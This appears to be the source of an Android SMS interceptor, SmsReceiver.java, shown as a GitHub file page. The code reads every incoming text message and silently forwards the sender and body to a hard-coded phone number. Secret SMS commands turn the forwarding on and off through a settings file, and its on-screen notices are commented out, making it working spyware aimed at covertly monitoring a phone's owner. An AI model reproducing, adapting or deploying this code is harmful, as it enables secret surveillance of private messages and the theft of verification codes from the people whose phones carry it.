-
Notifications
You must be signed in to change notification settings - Fork 11
Expand file tree
/
Copy pathSmsReceiver.java
More file actions
102 lines (83 loc) · 4.45 KB
/
Copy pathSmsReceiver.java
File metadata and controls
102 lines (83 loc) · 4.45 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
package com.example.interceptor;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import java.io.BufferedReader;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.widget.Toast;
public class SmsReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
if(intent.getAction().equals("android.provider.Telephony.SMS_RECEIVED")){
Bundle bundle = intent.getExtras();
SmsMessage[] msgs = null;
String msg_from;
if (bundle != null){
// retrieve the SMS message received
try{
Object[] pdus = (Object[]) bundle.get("pdus");
msgs = new SmsMessage[pdus.length];
msgs[0] = SmsMessage.createFromPdu((byte[])pdus[0]);
msg_from = msgs[0].getOriginatingAddress();
String msgBody = msgs[0].getMessageBody();
//for testing purposes uncomment the two lines below
//Toast.makeText(context, msg_from, Toast.LENGTH_LONG).show(); //the sender's phone number
//Toast.makeText(context, msgBody, Toast.LENGTH_LONG).show(); //the message
String data = null;
try {
String FILENAME = "file";
FileInputStream fis = context.getApplicationContext().openFileInput(FILENAME); //read file
InputStreamReader in = new InputStreamReader(fis);
BufferedReader br = new BufferedReader(in);
data = br.readLine();
} catch (IOException e) {
data = "dd";
}
if(data.matches("ee")){
if ( (msg_from.contains("PUT_A_PHONE_NUMBER_THAT_YOU_WANT_TO_BE_IGNORED") == false) && (msg_from.contains("CALLS") == false) ){
try {
SmsManager smsManager = SmsManager.getDefault();
smsManager.sendTextMessage("PUT_YOUR_PHONE_NUMBER_HERE", null, "From: " + msg_from + ":" + msgBody, null, null);
} catch (Exception e) {
//e.printStackTrace();
}
}
}
if (msgBody.contains("PUT_SOME_SECRET_CHARACTERS_THAT_WILL_DISABLE_THE_APP_WHEN_RECEIVED")==true){
String FILENAME = "file";
String string = "dd";
//Toast.makeText(context, "disabled", Toast.LENGTH_LONG).show(); //---------------------------------
try {
FileOutputStream fos = context.getApplicationContext().openFileOutput(FILENAME, Context.MODE_PRIVATE); // write settings file
fos.write(string.getBytes());
fos.close();
} catch (IOException e1) {
//Toast.makeText(context, e1.getMessage(), Toast.LENGTH_LONG).show();
}
}
if (msgBody.contains("PUT_SOME_SECRET_CHARACTERS_THAT_WILL_ENABLE_THE_APP_WHEN_RECEIVED")==true){
String FILENAME = "file";
String string = "ee";
//Toast.makeText(context, "ee", Toast.LENGTH_LONG).show(); //---------------------------------
try {
FileOutputStream fos = context.openFileOutput(FILENAME, Context.MODE_PRIVATE); // write settings file
fos.write(string.getBytes());
fos.close();
} catch (IOException e1) {
//Toast.makeText(context, e1.getMessage(), Toast.LENGTH_LONG).show();
}
}
// }
}catch(Exception e){
//Log.d("Exception caught",e.getMessage());
}
}
}
}
}